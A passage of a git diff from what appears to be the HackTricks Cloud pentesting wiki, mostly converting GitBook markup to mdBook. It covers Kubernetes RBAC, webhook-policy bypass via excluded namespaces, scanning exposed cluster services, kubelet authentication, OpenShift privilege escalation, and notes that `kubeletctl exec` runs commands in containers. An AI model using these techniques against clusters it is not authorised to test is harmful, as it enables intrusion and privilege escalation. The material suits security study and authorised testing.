+- namespaced resources (like Pods), **across all namespaces**.
 
 From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**. But to enable RBAC you can use something like:
 
@@ -43,9 +30,9 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
 
 In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role:
 
-* The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
-* The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true`
-* The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource.
+- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
+- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true`
+- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource.
 
 ### Rules Verbs
 
@@ -61,46 +48,41 @@ In the template of a **Role** or a **ClusterRole** you will need to indicate the
 
 Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example:
 
-* [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
-  * `use` verb on `podsecuritypolicies` resources in the `policy` API group.
-* [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
-  * `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
-* [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
-  * `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
+- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
+  - `use` verb on `podsecuritypolicies` resources in the `policy` API group.
+- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
+  - `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
+- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
+  - `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
 
-{% hint style="warning" %}
-You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
-{% endhint %}
+> [!WARNING]
+> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
 
 ### Examples
 
-{% code title="Role" %}
-```yaml
+```yaml:Role
 apiVersion: rbac.authorization.k8s.io/v1
 kind: Role
 metadata:
   namespace: defaultGreen
   name: pod-and-pod-logs-reader
 rules:
-- apiGroups: [""]
-  resources: ["pods", "pods/log"]
-  verbs: ["get", "list", "watch"]
+  - apiGroups: [""]
+    resources: ["pods", "pods/log"]
+    verbs: ["get", "list", "watch"]
 ```
-{% endcode %}
 
-{% code title="ClusterRole" %}
-```yaml
+```yaml:ClusterRole
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
 metadata:
   # "namespace" omitted since ClusterRoles are not namespaced
   name: secret-reader
 rules:
-- apiGroups: [""]
-  resources: ["secrets"]
-  verbs: ["get", "watch", "list"]
+  - apiGroups: [""]
+    resources: ["secrets"]
+    verbs: ["get", "watch", "list"]
 ```
-{% endcode %}
 
 For example you can use a **ClusterRole** to allow a particular user to run:
 
@@ -112,8 +94,7 @@ kubectl get pods --all-namespaces
 
 [**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**.
 
-{% code title="" %}
-```yaml
+```yaml:RoleBinding
 piVersion: rbac.authorization.k8s.io/v1
 # This role binding allows "jane" to read pods in the "default" namespace.
 # You need to already have a Role named "pod-reader" in that namespace.
@@ -122,35 +103,32 @@ metadata:
   name: read-pods
   namespace: default
 subjects:
-# You can specify more than one "subject"
-- kind: User
-  name: jane # "name" is case sensitive
-  apiGroup: rbac.authorization.k8s.io
+  # You can specify more than one "subject"
+  - kind: User
+    name: jane # "name" is case sensitive
+    apiGroup: rbac.authorization.k8s.io
 roleRef:
   # "roleRef" specifies the binding to a Role / ClusterRole
   kind: Role #this must be Role or ClusterRole
   name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to
   apiGroup: rbac.authorization.k8s.io
 ```
-{% endcode %}
 
-{% code title="ClusterRoleBinding" %}
-```yaml
+```yaml:ClusterRoleBinding
 apiVersion: rbac.authorization.k8s.io/v1
 # This cluster role binding allows anyone in the "manager" group to read secrets in any namespace.
 kind: ClusterRoleBinding
 metadata:
   name: read-secrets-global
 subjects:
-- kind: Group
-  name: manager # Name is case sensitive
-  apiGroup: rbac.authorization.k8s.io
+  - kind: Group
+    name: manager # Name is case sensitive
+    apiGroup: rbac.authorization.k8s.io
 roleRef:
   kind: ClusterRole
   name: secret-reader
   apiGroup: rbac.authorization.k8s.io
 ```
-{% endcode %}
 
 **Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.**
 
@@ -180,21 +158,8 @@ kubectl describe rolebindings
 
 ### Abuse Role/ClusterRoles for Privilege Escalation
 
-{% content-ref url="abusing-roles-clusterroles-in-kubernetes/" %}
-[abusing-roles-clusterroles-in-kubernetes](abusing-roles-clusterroles-in-kubernetes/)
-{% endcontent-ref %}
+{{#ref}}
+abusing-roles-clusterroles-in-kubernetes/
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
similarity index 80%
rename from pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
index 512cbbab3..90c7e4173 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
@@ -26,25 +26,23 @@ webhook:
     url: https://example.com/webhook
     serviceAccountName: example-service-account
   rules:
-  - apiGroups:
-    - ""
-    apiVersions:
-    - "*"
-    operations:
-    - CREATE
-    - UPDATE
-    resources:
-    - pods
+    - apiGroups:
+        - ""
+      apiVersions:
+        - "*"
+      operations:
+        - CREATE
+        - UPDATE
+      resources:
+        - pods
 ```
 
 The main difference between a ValidatingWebhookConfiguration and policies :&#x20;
 
+<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
 
-
-<figure><img src="../../.gitbook/assets/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
-
-* **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
-* **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services
+- **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
+- **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services
 
 ## Enumeration
 
@@ -76,15 +74,15 @@ Now, identify the following output :
 
 ```yaml
 namespaceSelector:
-    matchExpressions:
+  matchExpressions:
     - key: kubernetes.io/metadata.name
       operator: NotIn
       values:
-      - default
-      - TEST
-      - YOYO
-      - kube-system
-      - MYAPP
+        - default
+        - TEST
+        - YOYO
+        - kube-system
+        - MYAPP
 ```
 
 Here, `kubernetes.io/metadata.name` label refers to the namespace name. Namespaces with names in the `values` list will be excluded from the policy :
@@ -93,12 +91,12 @@ Check namespaces existence. Sometimes, due to automation or misconfiguration, so
 
 The goal of this attack is to exploit **misconfiguration** inside VWC in order to bypass operators restrictions and then elevate your privileges with other techniques
 
-{% content-ref url="abusing-roles-clusterroles-in-kubernetes/" %}
-[abusing-roles-clusterroles-in-kubernetes](abusing-roles-clusterroles-in-kubernetes/)
-{% endcontent-ref %}
+{{#ref}}
+abusing-roles-clusterroles-in-kubernetes/
+{{#endref}}
 
 ## References
 
-* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
-* [https://kyverno.io/](https://kyverno.io/)
-* [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
+- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
+- [https://kyverno.io/](https://kyverno.io/)
+- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
diff --git a/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md
similarity index 70%
rename from pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md
rename to src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md
index a12955aa1..a2a89e01b 100644
--- a/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md
+++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md
@@ -1,19 +1,6 @@
 # Pentesting Kubernetes Services
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**.
 
@@ -25,9 +12,9 @@ One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://c
 
 It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them:
 
-{% content-ref url="../exposing-services-in-kubernetes.md" %}
-[exposing-services-in-kubernetes.md](../exposing-services-in-kubernetes.md)
-{% endcontent-ref %}
+{{#ref}}
+../exposing-services-in-kubernetes.md
+{{#endref}}
 
 ## Finding Exposed pods via port scanning
 
@@ -52,11 +39,9 @@ The following ports might be open in a Kubernetes cluster:
 
 ### Nmap
 
-{% code overflow="wrap" %}
 ```bash
 nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
 ```
-{% endcode %}
 
 ### Kube-apiserver
 
@@ -72,9 +57,9 @@ curl -k https://<IP Address>:(8|6)443/api/v1
 
 **Check the following page to learn how to obtain sensitive data and perform sensitive actions talking to this service:**
 
-{% content-ref url="../kubernetes-enumeration.md" %}
-[kubernetes-enumeration.md](../kubernetes-enumeration.md)
-{% endcontent-ref %}
+{{#ref}}
+../kubernetes-enumeration.md
+{{#endref}}
 
 ### Kubelet API
 
@@ -167,9 +152,9 @@ The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-lin
 
 To understand better how the **authentication and authorization of the Kubelet API works** check this page:
 
-{% content-ref url="kubelet-authentication-and-authorization.md" %}
-[kubelet-authentication-and-authorization.md](kubelet-authentication-and-authorization.md)
-{% endcontent-ref %}
+{{#ref}}
+kubelet-authentication-and-authorization.md
+{{#endref}}
 
 The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**:
 
@@ -205,9 +190,8 @@ This endpoint allows to execute code inside any container very easily:
 kubeletctl exec [command]
 ```
 
-{% hint style="info" %}
-To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level.
-{% endhint %}
+> [!NOTE]
+> To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level.
 
 ### **Checking Kubelet (Read Only Port) Information Exposure**
 
@@ -219,21 +203,12 @@ An example of how this vulnerability can be exploited involves a remote attacker
 
 ## References
 
-{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2" %}
+{{#ref}}
+https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
+{{#endref}}
 
-{% embed url="https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet" %}
+{{#ref}}
+https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
similarity index 55%
rename from pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
rename to src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
index 1c74525af..abcfdccd7 100644
--- a/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
+++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
@@ -1,19 +1,6 @@
 # Kubelet Authentication & Authorization
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
 
@@ -23,7 +10,7 @@ By default, requests to the kubelet's HTTPS endpoint that are not rejected by ot
 
 The **3** authentication **methods** are:
 
-* **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
+- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
 
 ```json
 "authentication": {
@@ -32,9 +19,9 @@ The **3** authentication **methods** are:
     },
 ```
 
-* **Webhook**: This will **enable** the kubectl **API bearer tokens** as authorization (any valid token will be valid). Allow it with:
-  * ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server
-  * start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting:
+- **Webhook**: This will **enable** the kubectl **API bearer tokens** as authorization (any valid token will be valid). Allow it with:
+  - ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server
+  - start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting:
 
 ```json
 "authentication": {
@@ -44,13 +31,12 @@ The **3** authentication **methods** are:
     },
 ```
 
-{% hint style="info" %}
-The kubelet calls the **`TokenReview` API** on the configured API server to **determine user information** from bearer tokens
-{% endhint %}
+> [!NOTE]
+> The kubelet calls the **`TokenReview` API** on the configured API server to **determine user information** from bearer tokens
 
-* **X509 client certificates:** Allow to authenticate via X509 client certs
-  * see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
-  * start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
+- **X509 client certificates:** Allow to authenticate via X509 client certs
+  - see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
+  - start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
 
 ```json
 "authentication": {
@@ -66,9 +52,8 @@ Any request that is successfully authenticated (including an anonymous request)
 
 However, the other possible value is **`webhook`** (which is what you will be **mostly finding out there**). This mode will **check the permissions of the authenticated user** to allow or disallow an action.
 
-{% hint style="warning" %}
-Note that even if the **anonymous authentication is enabled** the **anonymous access** might **not have any permissions** to perform any action.
-{% endhint %}
+> [!WARNING]
+> Note that even if the **anonymous authentication is enabled** the **anonymous access** might **not have any permissions** to perform any action.
 
 The authorization via webhook can be configured using the **param `--authorization-mode=Webhook`** or via the config file with:
 
@@ -86,7 +71,7 @@ The kubelet calls the **`SubjectAccessReview`** API on the configured API server
 
 The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
 
-* **Action**
+- **Action**
 
 | HTTP verb | request verb                                                                                                                                                  |
 | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -96,7 +81,7 @@ The kubelet authorizes API requests using the same [request attributes](https://
 | PATCH     | patch                                                                                                                                                         |
 | DELETE    | delete (for individual resources), deletecollection (for collections)                                                                                         |
 
-* The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
+- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
 
 | Kubelet API  | resource | subresource |
 | ------------ | -------- | ----------- |
@@ -113,25 +98,12 @@ curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/p
 Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
 ```
 
-* We got a **Forbidden**, so the request **passed the Authentication check**. If not, we would have got just an `Unauthorised` message.
-* We can see the **username** (in this case from the token)
-* Check how the **resource** was **nodes** and the **subresource** **proxy** (which makes sense with the previous information)
+- We got a **Forbidden**, so the request **passed the Authentication check**. If not, we would have got just an `Unauthorised` message.
+- We can see the **username** (in this case from the token)
+- Check how the **resource** was **nodes** and the **subresource** **proxy** (which makes sense with the previous information)
 
 ## References
 
-* [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
+- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/openshift-pentesting/README.md b/src/pentesting-cloud/openshift-pentesting/README.md
new file mode 100644
index 000000000..f06a1552c
--- /dev/null
+++ b/src/pentesting-cloud/openshift-pentesting/README.md
@@ -0,0 +1,19 @@
+# OpenShift Pentesting
+
+## Basic Information
+
+{{#ref}}
+openshift-basic-information.md
+{{#endref}}
+
+## Security Context Constraints
+
+{{#ref}}
+openshift-scc.md
+{{#endref}}
+
+## Privilege Escalation
+
+{{#ref}}
+openshift-privilege-escalation/
+{{#endref}}
diff --git a/pentesting-cloud/openshift-pentesting/openshift-basic-information.md b/src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md
similarity index 66%
rename from pentesting-cloud/openshift-pentesting/openshift-basic-information.md
rename to src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md
index 053271501..59647f2e9 100644
--- a/pentesting-cloud/openshift-pentesting/openshift-basic-information.md
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md
@@ -14,7 +14,9 @@ OpenShift is Red Hat’s container application platform that offers a superset o
 
 OpenShift come with a it's own CLI, that can be found here:
 
-{% embed url="https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html" %}
+{{#ref}}
+https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html
+{{#endref}}
 
 To login using the CLI:
 
@@ -25,12 +27,14 @@ oc login -s=<server> --token=<bearer token>
 
 ### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
 
-In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional\_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
+In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
 
 SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
 
-{% content-ref url="openshift-scc.md" %}
-[openshift-scc.md](openshift-scc.md)
-{% endcontent-ref %}
+{{#ref}}
+openshift-scc.md
+{{#endref}}
 
-{% embed url="https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints" %}
+{{#ref}}
+https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
+{{#endref}}
diff --git a/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md b/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md
similarity index 93%
rename from pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md
rename to src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md
index d9d87e5e1..eb111ebd7 100644
--- a/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md
@@ -34,6 +34,6 @@ You can just edit a build script (such as Jenkinsfile), commit and push (eventua
 
 ## Jenkins Build Pod YAML override
 
-{% content-ref url="openshift-jenkins-build-overrides.md" %}
-[openshift-jenkins-build-overrides.md](openshift-jenkins-build-overrides.md)
-{% endcontent-ref %}
+{{#ref}}
+openshift-jenkins-build-overrides.md
+{{#endref}}
diff --git a/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md b/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md
similarity index 100%
rename from pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md
rename to src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md
diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
new file mode 100644
index 000000000..437a848f6
--- /dev/null
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
@@ -0,0 +1,19 @@
+# OpenShift - Privilege Escalation
+
+## Missing Service Account
+
+{{#ref}}
+openshift-missing-service-account.md
+{{#endref}}
+
+## Tekton
+
+{{#ref}}
+openshift-tekton.md
+{{#endref}}
+
+## SCC Bypass
+
+{{#ref}}
+openshift-scc-bypass.md
+{{#endref}}
diff --git a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
similarity index 78%
rename from pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
rename to src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
index 57dee3436..60fa06b95 100644
--- a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
@@ -4,7 +4,7 @@
 
 It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
 
-<figure><img src="../../../.gitbook/assets/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
 
 In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
 
@@ -12,10 +12,12 @@ If we can create a project and the missing SA in it, the SA will inherited from
 
 The following example show a missing SA which is granted node-exporter SCC:
 
-<figure><img src="../../../.gitbook/assets/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
 
 ## Tools
 
 The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
 
